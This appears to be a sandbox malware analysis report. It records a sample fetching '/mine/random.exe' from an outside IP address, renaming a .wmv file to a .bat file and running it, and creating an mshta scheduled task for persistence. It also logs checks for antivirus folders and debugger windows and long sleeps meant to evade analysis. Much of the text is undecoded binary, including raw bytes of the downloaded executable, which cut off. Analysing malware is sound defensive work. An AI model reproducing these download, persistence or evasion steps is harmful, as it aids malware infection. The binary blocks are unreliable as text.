nº¿ÒhZw@-LJ2{JîL8ÙF;ËØHàJ5|ÍoC=î1½~wýø‚A]býþªÎIO¾+Zs”bžÚmLtÒ²ÌKkõÖ7‡ˆ$ùˆVXµ,b/՗»%Ðg—ójɉ¤×<·\')J‡SToæ” ²Z|í‚-®Fs°¨0Uš›C„VÁ_¢€<q ójè ëàž0ìyScYKˆÎûO ™öMX}ÅQ'Q;ë~#°2‰µõJR…K8àp5ˆ(Œ@×0ÅX¼ö}ÿó:ä¼í µ›úG ?[õ°€Í–™-¤éªóoN*ð&R•à|àÛ%}]É-À.ä-UÃlË_xõ¼íÆsLӎùÁÔÜëU ‹ÕÅ2»1õúæ4ÀhèTb¤Òvϐ³—^߬]@‹€-&žZÍ­Ï_)è¢vèρÝéô}0#£¨¾%¼?ÿ h§6²*•Ñ÷‚2QH ”ã,î7„œ´Ë.R€·ÒÆ-ÿZ~ü@h²>O7ë^CÅ?¸3ãã\oÁ &Wÿ9p¯˜¯ Axs+\ ‰ß4.Ah¶’Ävë„ç ±Æ"‡Qä*ö[–ïÎ/VÜA;s9Âv~`ÖåqH]'j`„ ¯°Œí‚“v3»>-¯ŸVˆ rò¼HޏA.2[‡îM„÷ÖF®´-%Žû|5í;îȼ£U7¬À©VêµWk‹›€ŠFúf°Ì¾ oïà9n)%ÃòÖʅè]Áøûio$'ãz[—%¾…†ÿy< hzé-Id“M?á£Ô`޾[¨¶½:¢îÒÿŠg^™©`d¡ ™cI}”vô÷OÑÈANÕM¤ðlº™>ñ¡hD>©ž’ÓÝûKw*´2 ÀÿsÌÑ'ï7/© `¢€F‘—è_é<¥ÿo¹*A˜ÆóàþmP×PîY¿ó)/ÓfãPRS[1êÌßZzX\‹˜Þ([7&šatíÇà¯2pƝ€›­=µÑ”G'9ïŒӰ¼NV­¨Î#Z¿?*i<,&ÖIõyƒ“òˆçµ1½üÈmTi?NÞk.ËÌGtvJ1}l£/UTÅæ¥]E,'Y@b´=¿qzDþª- 0Žî&b³ õ¿%^øM:ýâŒù¿„Dò8Äû¡µ.ü^‹ùNÖF§ ˜eënËÚõ»ØXše„úý”ùÒù—JªfÇ )ôÿD±ŠËù¢Ÿ Cbó‡“Ö%·Gë¤þ~)„Ÿ£Ñä;oȤ‡—sëLeMóã{h}¢P,=%«Iµ.u“1ÐKkvL 冲ñð. …µ~ù,lC!"{œj@¸‘ùZÓ%(ÐJ(Ã[!‰Å;ÊQJü™¤¢¨)ñù–þ^ù¬‚0Ÿ·F6Áì©Ï-PæcÔ a7ñ÷.À]Uÿ=J¾4Ë«Ra®9x~ÎÇjv^ ¿} [p‡s½²šè~3Á“¿cP½¥?á0h/jéW0˜ë›tß:K×é‘…íŠÆý)Ì|¬ÅR¸¨ó¾Ù3;ú#Íí¶* Cõèa6ësîLã[€øçÔîøÇ?k«‹`1þ
Data received ÜwϜ´09Ô_‚2nß±tãÜg 9—Û ¶ÇsZ@4<„ö¡dÏ=‰ñ¤8‚r´pV† òR賐ČöÁ,°È¦ÜIŠô̇ÆÓ÷%?“[9ƒ$ǰ’96ždMt‡eʬõñ¨dpˆ0Ü14ÛP/Yxßló•‘A éÂ@ä׈@ êL6Ü;mìeö»b–‘y´hô^> `„" $82¸aÛ@ uþÉ^Uìæõ\#}të'`¸20N¼Î”.æ4@ÅáßC@·íZËã1"ÛÚ±îv® ­€ é—hË÷¾Îföűe=¹2äv0ƒxÌ´P‡Š‰ ý«Xèû/eÁˆ¬Œ„ÙǤ¼Ñ•i¯opß7 ¹·Ç4†$Ó9&f.ì@ƦmJCWÒxÏ ËV¸çÀqŒ¹3R‡Ž-Z«¸Ö!<f q°Çmìv2ÀÞV@p¨ öÐC±÷?¹¤ÀäÔËȼæT²Rdúo°÷!H@»jk±Ôm”•<[íý\~ƒ%‡ëù­˜ªԖˆÀ×k¸`‘!®¡Œìj7ßV¡ÜX,•ìïQ,„wðo¼´Ñˆ 8¸—Ñ_<·‰y[Sœ÷…\`¤îñúAÙ0ؼ [Ž—ð±ôÚwôán9Ã_YyØI.ެÏ ’Ü ¬‡tݱT•kM ü©>(¢TÔH&Àe{1d9PÔÿÖ÷Çdm(:i ° nAHQPšïX~|I‰¸ÒÔ킉m6ïÞÁ|ß(T"tˆ*$¡œém—è(Þ:ð èYëzC˜\wE þ<°S€99̌ß+²ì¾§lLøs½>’ñ((jr H®tËÉ( nµ‰àY,`o ŒQK¤t*·9ô Ös~L¼É@a3ATŒL‘ß |٘ôèâ1iÉu±˜-0ÿÀ~ò`‡¬ÅK+æ«îxd½c­¹ˆñzÖ @ðáøx¸Àé’98ç ¹À|ԀRS½ußJ§´ö³2ª{6 Zt>o‹ ¢3ÂsvV¼IcP“]Ò^  S ØÔ糌?ýñ—R\ÜvoPi:0åbv2_$\¾°RÈö>ÉÑþß ã&`$œ÷â`r-Ž|€`ô£qjâЏ§´ÉÚm.¹7 ÐÈøž”@dà¸Ï±üRŒÅ°Œ0@uˑЈ0=—Ü‘!-jôl89¾¡R­t <á*3o‡fÁ=<Xú`vHþÜÖDÔN j`´ÜY 8Ž8 hça¸TäËvî»>°ÜzK'Ôò`Ù3·¾¬ä‚ú8è² ½ ޵>€0x N ðâÿè«Ø&Žç<ˆ€` )x ?à8Ú “øf’iÀ³1P-ªéxem*å)0ܚ“ŠÐœ’ô?¯dßê¸Ät‹úæ6ZkOYZ*4¦«Q‡²Wý „ lN €$U%‰'Ž…€Ä¸òði”pe΋ö¹Özh À !l9>rQ,Á^BÊôØ»DóCz¼´ts¼pÂy¹V`aý]¡z0Øä©·`7[Ôøø üˆr‰Ù œ>¸L–´@­p1ݙì„ðj˜¤³Z=ń†lI®ðyÖÐ+ÉsD'à” æ?i5ås›´ÕÅUH)¸*}¨$“j¤ãúšuppÌÄ>\¸ëÿ¸…‚ˆ´ÓÅAX¬ÅLfñb‡˜¾PÙð0…[Y2sljÛ)½D<·@B8xg—Çnfß¹$¹“;8 °Æm¬¤%Ü߀<^X›M= |KR׀Ùé4-|v”eÕVöe°ø¼Á´-€3Û9$ ã`R‡’[˜Æ ÀËjõ3P°P†K©`Üаک„Ä{108é ˱”Š•æûkHJ@ã1Ô´-ùiÄ0Dš¬¼8Éöð@E¾–4´=xåä‰þÙæf‘<’7£PNŒl`  9€Šjžô@ýõ‹ÜB/#K¸f$€~°¬ÅðÖþèÇK¹5·º¥!áQöÿ}ðtì4-à=Hجõah3ª OIsÜ܇‹TN2KĤۑš¸ö ­ d gÇݬ€o^ÛLE ÜyüKhç¨t_!҆= $̸ó-4‡²Dà)8 Û‘ %b-¿!Àm^@4: Œ ©¡CL pá<9'iŽÜ‘ÌàpÞ&ýÚv`·64›˜è"ßÁDë 0×|´r‡–:µ5¯‘ç“ ß_h÷«@”\ž´Þâµ…Sö€àÅN¢4( ü ÓÏ¥q™’´Â±|H‹Œõ]ë=°ål|v.Ü5‰…¥H>³ ßÑ?bž,%ZHµ ¼–ißeš±$„Ü“/4þŠîVΙ‡`›ƒâyHý˜2™Šò8² è¬"ŒÑ >xâРpø‡Ür4°öÀ@´Ñh³æF÷€#'z*oO}ÂTՀH¶²6Ô%Q”¬º”º|¥z´0 ´>Յå'·ro& K˜—XX)?ô´ŠÈ° v.ÜÔ™yK`˜"À¸Ž¹¶©á qßþM¿|$ÏLÀ÷ÇÜ™†jŔBõeÁ¨dÏ67́N "Ü<œÈp¾@À3ªÑšP•`š‰JÐï†ËÛKµA÷Å#l»p1ÎQ‚}_‚$Ýu`¸ïr 9ªín¨-.…¼¼1»¤ä,€†ö›XoŽ#Ó÷´`Ei€8²Î'"lßì¶E°¸Ø¤ÊMp` mß+ÌX\wc¸û ÜE¶¹äHð ¸ù xß;0.÷“Á8ÌðKÕxоdÊ7».î¼p@´wÌu(Þì©qõèaŽä© ÷Ó 2¸(b’DO6ÌØé}<õRÃ?0åÓIV U‰ÇYØÈ¹í#O^"ݘ3;ïµ(‡”ð(bi¬ ³9¸à @ »ŽUÌ`æÐב0Å9`Ü µ0ûès^ <˜Y@°Îéuý(:€-¼²xcÔyfÉ{²eø9¼àoՑk´jÚ0œÿ€’TB7ågÖ¹?ßÀ¿we‡fxL Pªì`j‰/ дÐuáôñÒ(°—’‰¿`ÂP4À‘5iÉé!âMÀÔ¡'xpàîµ[ÞǔñŒø¦äN®g>æ°HxM½Ë\9ÀlÎY5q †8÷î<‡µ…,á¹]`“wD˜¡±hxˆÅ}KäÔ9 xQÌ×hÜh€ È_ªPm¨x(xÏЯ«ñ€k( Bþ—0›å¼-hì–!?ÈD5>(¸ÀÅwòg (µöÿC½Ž:{7H3¤Ñä<Y ¯kÐø¨–¢¬Ï ¿âlp4èüùZN ͨéi ǐ¼ßEôÌ" ¾8×ìo¶ÔZ• ‚È.Üô‚}{Ýsd° 6áÑrð Rñ<蒰`1Bò\ä>øñŽahô Ç–¿ÊࢠÜ8«¤ÃĐ?÷ñ—j&ÜM!ã*ˆÍ@ί\ŒðÅ­‰£üJ²Ð€•jß\°•f<•¨®um¸æP J°€‚ èÕ!¶¹sä+"'íD¸P¡ü‡rrn쎘¸¸K,•ô±ÔðOÚNt,®—°6·8ܤ0Ò7¯æøLɟûƆÝÕm`¼¸ñ‡$u§Å¬tÒ¼d èpbÄÔu`¸jTà÷Á>T.DŽˆ9¥=QŒfÜÁk&®í–¼`ÔA~ܵaÖàŠtßÎhÅè1÷ Ÿ—‘RÔÏ-Up!(Ax0ägάê†NðÜ%#œÈ1û W4=ßöpi:R–yf „3©ü‹(èñmQà˜è€2Ð A?˜°x;ì‘ ·RߗªÒð¡„*4hËтŒÜÎTg¿ál¶À;9^¤šŠH8ތn§Á`¸ÊÕ°,˜è`~!ï«ÜÝ`‘ø_wàN*AÔÚ¼FÕAø«Ô¼@’º>í|1°Ñ0á/ÐÈõôd@еb_^Myr\3À9n_„‚pCa ´Ü¹’†öÍ»·FܼÑ;XéНð¸ó:^D‡±ìñZ0ÈVp]æ°t €|U8ªLòg(?ßêQ¹°-À°½´€:€Lù‹8 …0Üü>_$65&ȈŽ4E&1ø4ï @^¢ÜvhxŽÅ¡fœœn ÄÙ i¸5ržœiQ´à0ƒãðLÆèì·îÂÜø¤×̊†;ž™îW2‹`¸D 0o‚ ";ù Áʁ•!d¶Ô"ƒŠ¹®¥ÍÆëS0ǂçC÷»qê/R€Ò*œõâ!'¼zm¦›‰&ÿÖ+…D„ýžId¬Ê`Î*»fUçjO ü}Ü´»AÌÞš£ cuâh ê{l8Дl¢Ü$ tçF%à<Re$ÀT­â8{œî@mÍL¨}t-ä3 1“8} À0‚*ìW¼þ ÏñÛa-IÞ‹”nŠ.1Ö­€ð„É Ï 
Data received 6å‹nYޅ3( 8ìãœ7#AàâÔC/À„êWYˆ°Ëðä(ž¤ØøY€€¿_(ÓD $ê]ºy¹bULÐ?Š|t[ÁB‡x8>åëJAþ§äÛP»’.‚„Ž ÉÏ_[¢ a\ÀU‡?%þO§¡ço§…€ß¤ŽYTҌÚ1íQyH¬‚ÇÉãù¼[qøÇí±&—1 z˜$U* G6ÛYO·Ÿ a%wp –§«|‘«׈;þÔ -ƒLAxPKL lX,ÏèL‰»'k¼Jìy VäDñـ´èÀÂyÏ£¬ë¬À0ø  ¼ù´¡ì‰²Ÿ'§¦à’<èëMå p4ñ¨ïQ0@W ςÓÐYÀÚ{şä!Ç9£²Ñ P—ˆx±ƒ W¤ ‚D…þý49¬€XœÉ[ÓHE<É^1­ TRo¤U[†ù`@Bx>°çå( ÎäíÄ"ı'¬` näÜ8`ÀrsZ RE#Ö ‹[лCÛMhü€wd¢Ó\;Ð*±ÝÝ $`©huZ¹W@ù³ä*õ‹¼G¤È¹P€ëªì „‚à¿íI:X„þÆï@DøëHí ˜pÖ:DVÓ ÝȇÔΉ[æP¨º/§1Õ ‚¿Œ[‘5Ïú¢'Í¿ •íÌO¬…ØhÓ ­÷„܏èðx(¦YíçÕí#T ÀÏ‚ ¸P[®Ñ¬Zn$ø„¡ ¹ Tz)YǘéÔF!À‚ÉI´Õ444@õGÝâ@xPÚ"°’P ¯À¹´éß]SFÛP $´Ô@€°2íøáb‚“R‰¤¤­__Y0™BëŽ8ŒÎ`ÈÅê«î ýGèRª‡44ÀÉI: ôø…ýìX¡ $CÊ\ó€Šìš`¥'D^1[G!÷ë¨Ñ´L¥í­²Ôak±>ބtǤRك©êë¼€4^µ0p¢ðØ ˜[38” „²ltŒéë_\ä!T'@ÜèóDû©;܉MVh~W"ÿªY¥@ŒÙZƒ‰$(Ǎ›ív…ÓB§ð˜>‚8´Ù»~(Ò1׀'«xÉ=A(x1¸€Éª69ØcL‰p& 4…DcdèPáÈ]™“D,€õë€ô]}ؽN4°ê@@ø>¬îëNÓWzÒԃÆ(”¿X ̐Óþ ÍoOîœ@êÓÀ1,ëd‰™¨PòŠ&àaàÎà žä؇nØ8-°Wÿ§Û0ØÑù¦ä0MÍá÷e€áU»4Ï=âÞ)vèP̪éR«°­~4TOHùcü°Ô&R혁êÜ ò8L°Â¨”WE;)»¦8<M`6±hfÀ‚÷‘êI»iX¼ÌÝØlpTÃZ¶þ*is˜ n_‰&Qâµq€V»°`è„a1p="Õ:HNÆ2;AÒà°s¾ÓÁ‡^ aŽœe[¶”¤ÉxeA´h…„îWõ– ¦(˜¹|Ç|~`R;?.x­ (èSM‚hfì»x¹îüš<³Ä½T9Th„ÏxiYÂÁÙd(ø©Óí©É¨¼q f„‡Y†$[‘8 ùa|ðÇÒÖCì çÔ Á½!n£`±í¢P€”õ u/®9 „ÌùÞTpaë²>r$[Â\WÄtL½øpƒMÙ|¦àëý•¼†™]SA¸’4&ΔBY¼DÀñ?O‰»æ­ð\HøÚL $ àíwœ‡D/^°Ø»#$êHÌ¥3hÈ]Ñ ¹ÐÂ[M萋ò,a!ãê×7 Bø\IjãÊÿ뗆à9\‚„Ì`… èêM | R[}ÀŠ–`@ó¡ò–øG¨ÈRõ2J¼ÁTŸ!<>„ˆ”@H %î<Jþ ˜[AP_6èÔ Få@]Ïöܺ°<»< èµN¸‚ ôÙV@¬aPè$€æÈ‚[I*´¬„Yýqq¬Hn”ÈØÊø½äÈèêïXÉÜ)ÂØ¥ÐE`Ô5‚b,‘¨¾0\&NÒŒP/Š+ȼn¦À&êP»!‚ÅE4… Œ`ŒÕdlMÏë`’8YšŒ@c Ôºèd0 k%m}¬EÈ´À]‚ê\~²XÀŒ 9hý‚|€'s XЬ$¬ A&AjCÄ ‘ïëSé,Vä ¬$ ›Š±Hœ7DV´Yš‚Ä¦È ô ºh«$b"óY)@ £s½[‡=¼ÐD°öGåÜ8 lÝt%›ÄŽdPYq€4õG$ÏeÅÖ€è@@dۉ á·¹ @HÝ*`ìðû±Ìƒ¬iüaœ ¼ I_Ð[µè&ÉaÔÆx\ ´’€‹ë…Ó žñ՜ˆy£¸ò´è&‘¡[Ðø'ºXíë½âE@;2a`@ì4S>ü™́B¤õ¶RàæÎ0\/Aa…bèv€‚é,íX5`”hüê볉 >»HôHTÀkÜjüP„ù t6øèY$L,RXè_‡YÙþ¹ ë\ÇúXpPþµówÀT¬‚Þ¦‡cd òëe’$aÓP4ì¶È&爀±ÃkX†$›Ì4¡Rd „I]†xñH‚H¶KjÝB`ˆHÃÅZX壴`;Õim¶, WµèMxÄ,¼ÄTO{=Òç\ZÊl¬êK€<í À ÄS’¸`Œ 0ðù&s4Â0˅Þw1: ’ÚœEø„XH}\À¥€«1Öé‡@ ì‡}Àü4{Ü–ã׳Ò(O-ÚaÂPžÈSD¥¡é0-&E^`TuWIú¸ÊÑà@Ä6î¡9}‡Øü±ws™ì¯àáÌ0ˆÿ{!ð±ñ˜h´ï)ì§J»Ì#.Üh†É—8(4ƒGUØl¢1ýÜ5:äs¦ẅWrdj{‡lT£©C4_É€¨+ÜÄôz°0ë^1ñjF˜ È1$3'AÔRãøgê.LÄ>“ƒrÁxßàÔ è¾`(“å5<Áýa!+oª$ùł9J¼»øJÇZOåw Ä: Í_ôƒ/ÒܟP¿¬r@š˜I¨Ëco€áY‡‰ý 2G†ÇƒbÆ©g%L̘¡QºÆ‰ Õ hHdÒz¨€¬Ÿ/¤Óۀ”šÜÅUfKqíBˆ Ü±XkrCÅb°x«ùŒ ˜ ˆ%Ï£¨oˆ©M¨Œ¦T:Ø  òQ…˜I`¨€x‰(%ðǐ̛͙üðšO´.™€žß;náÔyØÝGìå„ Ó¦Ø ê Ãñ·~* $ ÔP€Î[ûx‰É€K£­–7`ˆì/užá\_Rȶ¢#P.¾êœ0Ïæ2Ôòö½‹µ€5ƒÇcLHÜùÜ&ށ»dpR“ÑìÀ¼ âØ°/ñ5pF3øF(J (BH¤}AØ`‚G© ¡ù‰^Í ðí6ˆM‘èS(æà\Ë"†W ê©ƒáÞ€æòBÅ(˜^&ðp‚ 3ôäG˜Mq„0ޅh°-jð­øäQH`K¨¤Rç ¢‚.*{údìµ >X9Ìǂk¤}U˜(“ëÌИð*Ȝ¬Þ¢ ƽ b»5#K›J’`1í¦ÑH§2„ )a3 `’œl(ˆ‚„bv”ߎDÛ t˜ÕSQ1Å îLÙ¢°dÈ)ìŠ
Data sent GET /mine/random.exe HTTP/1.1 Host: 176.113.115.7 Connection: Keep-Alive
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
process system
cmdline C:\Windows\System32\cmd.exe /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
cmdline "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
cmdline tasklist
cmdline schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
cmdline C:\Windows\system32\cmd.exe /c schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
host 176.113.115.6
host 176.113.115.7
file C:\ProgramData\AVAST Software
file C:\ProgramData\Avira
file C:\ProgramData\Kaspersky Lab
file C:\ProgramData\Panda Security
file C:\ProgramData\Bitdefender
file C:\ProgramData\AVG
file C:\ProgramData\Doctor Web
file \??\SICE
file \??\SIWVID
file \??\NTICE
Time & API Arguments Status Return Repeated

FindWindowA

class_name: OLLYDBG
window_name:
0 0

FindWindowA

class_name: GBDYLLO
window_name:
0 0

FindWindowA

class_name: pediy06
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: #0
window_name: File Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: PROCMON_WINDOW_CLASS
window_name:
0 0

FindWindowA

class_name: #0
window_name: Process Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: RegmonClass
window_name:
0 0

FindWindowA

class_name: RegmonClass
window_name:
0 0

FindWindowA

class_name: #0
window_name: Registry Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: 18467-41
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: #0
window_name: File Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: PROCMON_WINDOW_CLASS
window_name:
0 0

FindWindowA

class_name: #0
window_name: Process Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: OLLYDBG
window_name:
0 0

FindWindowA

class_name: GBDYLLO
window_name:
0 0

FindWindowA

class_name: pediy06
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: #0
window_name: File Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: PROCMON_WINDOW_CLASS
window_name:
0 0

FindWindowA

class_name: #0
window_name: Process Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: RegmonClass
window_name:
0 0

FindWindowA

class_name: RegmonClass
window_name:
0 0

FindWindowA

class_name: #0
window_name: Registry Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: 18467-41
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: FilemonClass
window_name:
0 0

FindWindowA

class_name: #0
window_name: File Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: PROCMON_WINDOW_CLASS
window_name:
0 0

FindWindowA

class_name: #0
window_name: Process Monitor - Sysinternals: www.sysinternals.com
0 0

FindWindowA

class_name: OLLYDBG
window_name:
0 0

FindWindowA

class_name: GBDYLLO
window_name:
0 0

FindWindowA

class_name: pediy06
window_name:
0 0

FindWindowA

class_name: OLLYDBG
window_name:
0 0

FindWindowA

class_name: GBDYLLO
window_name:
0 0

FindWindowA

class_name: pediy06
window_name:
0 0

FindWindowA

class_name: Regmonclass
window_name:
0 0

FindWindowA

class_name: Regmonclass
window_name:
0 0

FindWindowA

class_name: 18467-41
window_name:
0 0

FindWindowA

class_name: Filemonclass
window_name:
0 0

FindWindowA

class_name: Filemonclass
window_name:
0 0

FindWindowA

class_name: PROCMON_WINDOW_CLASS
window_name:
0 0

FindWindowA

class_name: OLLYDBG
window_name:
0 0

FindWindowA

class_name: GBDYLLO
window_name:
0 0

FindWindowA

class_name: pediy06
window_name:
0 0

FindWindowA

class_name: OLLYDBG
window_name:
0 0
description rapes.exe tried to sleep 1696 seconds, actually delayed analysis time by 1696 seconds
description advnrNo.exe tried to sleep 1331 seconds, actually delayed analysis time by 1331 seconds
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion
file C:\Windows\Tasks\rapes.job
cmdline schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
cmdline C:\Windows\system32\cmd.exe /c schtasks /create /tn uA50omaOMzx /tr "mshta C:\Users\test22\AppData\Local\Temp\FSEfTpEuF.hta" /sc minute /mo 25 /ru "test22" /f
Time & API Arguments Status Return Repeated

send

buffer: GET /mine/random.exe HTTP/1.1 Host: 176.113.115.7 Connection: Keep-Alive
socket: 1424
sent: 78
1 78 0
Time & API Arguments Status Return Repeated

recv

buffer: HTTP/1.1 200 OK Date: Mon, 24 Mar 2025 01:39:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 24 Mar 2025 01:17:20 GMT ETag: "1db000-6310c5d9f93c1" Accept-Ranges: bytes Content-Length: 1945600 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $ѶBS•×,•×,•×,¼/˜×,¼)/×,Ç¢(‡×,Ç¢/ƒ×,Ç¢)Ì×,¤‹Ñ—×,¼(‚×,¼-†×,•×-g×,Y¢%”×,Y¢Ó”×,Y¢.”×,Rich•×,PEL#»gà òÂ@M@pM9Z@€WàkÐH|)M,)M ÀÖ@à.rsrcHÐæ@À.idata àì@À  +ðî@àakiehyda 2šð@àpwemnwqq0MŠ@à.taggant0@M"Ž@à
received: 2920
socket: 1424
1 2920 0

InternetReadFile

buffer: MZx@xº´ Í!¸LÍ!This program cannot be run in DOS mode.$PEd† ^"àgð" ð Øl @À`ˆ| (À Î @E hà @ h.textî ð  `.rdata´˜ šö @@.data    @À.pdataÀ œ @@.gxfg à ² @@.retplneŒ Ä _RDATAô Æ @@.reloch È @B.idata‚0 ‚Ð @ÀAWAVAUATVWUSHìˆH‹¦ H1àH‰„$€‰T$pH‰L$hÇD$d•éÑ[ÇD$`‹T$pH‹L$h‰T$0èЋT$0ƒòÿâ<OT¼A¸ÿÿÿÿE‰ÁAñ<OT¼D‹T$0E!ÊE‰ÃAóÿÿÿÿAã<OT¼AáÿÿÿÿD ÒE ËD1ڃòÿòÿÿÿÿƒâÿE‰ÁAñÿÿÿÿAáÿÿÿÿE‰ÂAòÿÿÿÿAâÿÿÿÿE ÑD‹T$0AƒòÿAƒñÿE‰ÃAóǟšŠE ÊAËǟšŠAƒòÿE!ÚA‰ÑE!ÑD1ÒA щƒòÿâÿÿÿÿE‰ÂAòÿÿÿÿA‰ÃE!ÓD ÚE‰ÊAƒòÿAâ³¢Ã„E‰ÃAó³¢Ã„E!ÙD‰Æöÿÿÿÿæ³¢Ã„AãÿÿÿÿE ÊD ÞA1òE‰ÁAñæ€t~Aáé`wáE‰ÃAóé`wáD‰Þææ€t~D‰Ç÷ÿÿÿÿçé`wáAãÿÿÿÿA ñD ßA1ùA‰ÓAƒóÿD‰ÖƒöÿD‰Ç÷;+HÔD‰Ûã;+HÔ!ú‰õå;+HÔA!ú ÓD Õ1ëA óAƒóÿÏ;+HÔA!ûD ÛD‰Êâæ€t~Añæ€t~D ÊA‰ÙAƒñÿAá <×ME‰ÂAò <×MD!ÓE‰ÃAóÿÿÿÿAã <×MAâÿÿÿÿA ÙE ÓE1ÙAƒñÿƒòÿE‰ÂAò=}„A ÑAÊ=}„AƒñÿE!щƒòÿâÿÿÿÿE‰ÂAòÿÿÿÿA‰ÃE!ÓD ڃòÿòԏ³Óâԏ³ÓE‰ÂAòԏ³ÓAâÿÿÿÿE‰ÃAóÿÿÿÿAãԏ³ÓE ÚE‰ÓAƒóÿ‰ÆD1Þ!ÆD‰À5ÿÿÿÿ%ÿÿÿÿE‰ÃAóÿÿÿÿAãÿÿÿÿD ØE‰ÃAóԏ³Ó‰ÇD1ß!ÇD‰À5ÿÿÿÿAƒòÿE‰ÃAó‚­<D ÐAË‚­<ƒðÿD!ØA‰ÒA!ò1òA ҉úƒòÿA‰ÃAƒóÿD‰Æö]±gž‰Óã]±gž!÷D‰Ýå]±gž!ð û Å1ëD ڃòÿÎ]±gž!ò ÓD‰Ðƒðÿ‰Ú!ƒóÿA!ÚD ҋD$0ƒðÿ%É>? E‰ÂAòÉ>? D‹\$0E!ÓD‰ÆöÿÿÿÿæÉ>? AâÿÿÿÿD ØD Ö1ðA‰ÒAƒòÿAâÿÿÿÿE‰ÃAóÿÿÿÿD!ÚA ÒD‰Âò©”Ððâ|ÓùpE‰ÃAó|ÓùpD‰Þæ©”ÐðD‰Ç÷ÿÿÿÿç|ÓùpAãÿÿÿÿ òD ß1úA‰ÃE!ÓD1ÐA ÉÐ%©”Ððò©”Ðð ÐD‰ÚƒòÿâÖÄ»E‰ÂAòÖÄ»E!ÓD‰ÆöÿÿÿÿæÖÄ»AâÿÿÿÿD ÚD Ö1òƒðÿA‰ÒA1ÂA!ÒD‰ÐƒðÿD‰Ê1ÂD!ÊD‰Èƒðÿ%¤Zs»Að¤Zs»E!ÁE‰ÓAƒóÿAã¤Zs»E!ÂD ÈE ÓD1ØA‰ÐA!À1ÂA ÐD‰D$\H‹L$h蟗H‰D$PH‹L$hè`{HÁè‰D$LÇD$HÇD$tôS~M‹D$t‰Áé ¦›‰D$,„éTé‹D$,-d€³¤„g é‹D$,-žh„¥„Úé‹D$,-ð”§„=é‹D$,-þ’/»„•zé‹D$,-ᙚ„ 4é‹D$,-¤œNã„_é‹D$,-8t<ç„Gé‹D$,-Øò„9<é‹D$,-( à„Vpé‹D$,-éÊ-„*zé‹D$,-í–„H<é‹D$,-¯ÁÐ%„“!é‹D$,-û &„<é‹D$,- m5„ é‹D$,-¿#¬G„v^é‹D$,-ôS~M„Zé‹D$,-6jV„’;é‹D$,-ö”s_„(!é‹D$,-3†c„<Gé‹D$,-±¤v„_!éé‰y‹D$H;D$L¸ m5¹±¤vLȉL$téky1À‹ ʔ ‹Ȕ A¸ceàZAƒÀAè†Ü£AèceàZA‰ÁE)ÁA‰ÈEÈAèõ0žAÀÿ¢ÃRAÀõ0žA‰ÁAƒéEÈA‰ÁAéÿ¢ÃREÈA‰ÁE)ÁA‰ÀAèùSz%EÁA‰ÀE)È-†Ü£AÀAÀöš"ÞAèùSz%Aèöš"ÞA¯ÈƒáƒùA”ƒú AœÃDˆÓ€óÿ€ã@¶@ˆ÷@€÷DˆÕ@ ýAˆöA€öA€æÿ@€ç@ëAþD0ó@ˆ÷@€÷€óÿ@ˆõ@€õ@ß@€Í@€÷ÿ@ ï@ˆó€ó€ã@ˆõ@€õAˆîA€æAˆ÷A€÷A€ç@€åDóAïD0û€óÿDˆÕ@0ÝD Õ@ˆû@ ë@0ï@ûDˆß@€÷ÿ@€ç@ˆõ@€õEˆÞA îAˆ÷A€÷A€ç@€åD÷AïD0ÿ@ˆõ@€õ@€÷ÿAˆöA€ö@ýA€Î@€õÿD õ@ˆ÷@€÷@€çAˆöA€öA€æD÷@€÷ÿEˆÞA0þE Þ@ˆïD ÷D0õ@ï@ˆõ@€õ@€åAˆöA€öEˆ÷A€çAˆôA€ôA€äA€æDýEôD0å@€õÿ@€õ@€åÿAˆöA€öA€æAˆ÷A€÷EˆüA€äAˆõA€õA€åÿA€çEæEýE0îAˆ÷A€÷EˆôA€ôÿAˆõA€õEçA€ÍA€÷ÿE ïAˆôA€ôA€äAˆõA€õA€åEìA€ôÿAˆõA€õ@ˆð4Eì A€ôÿA ÄA€öÿA€öA€æÿ@ˆèD øD0ý@èDˆå@€õÿEˆ÷A€÷ÿAˆõA€õ@ˆé€áE ìDˆú€âE îDáDò0ÑDý@€õÿA€ÍD í@éˆÂ€òÿ€â@ˆõ@€õ@ èAˆÎA€öÿA€æ@ éÂAÎD0òˆØ4ÿ$@ˆñ€ñ@ˆÝ@ 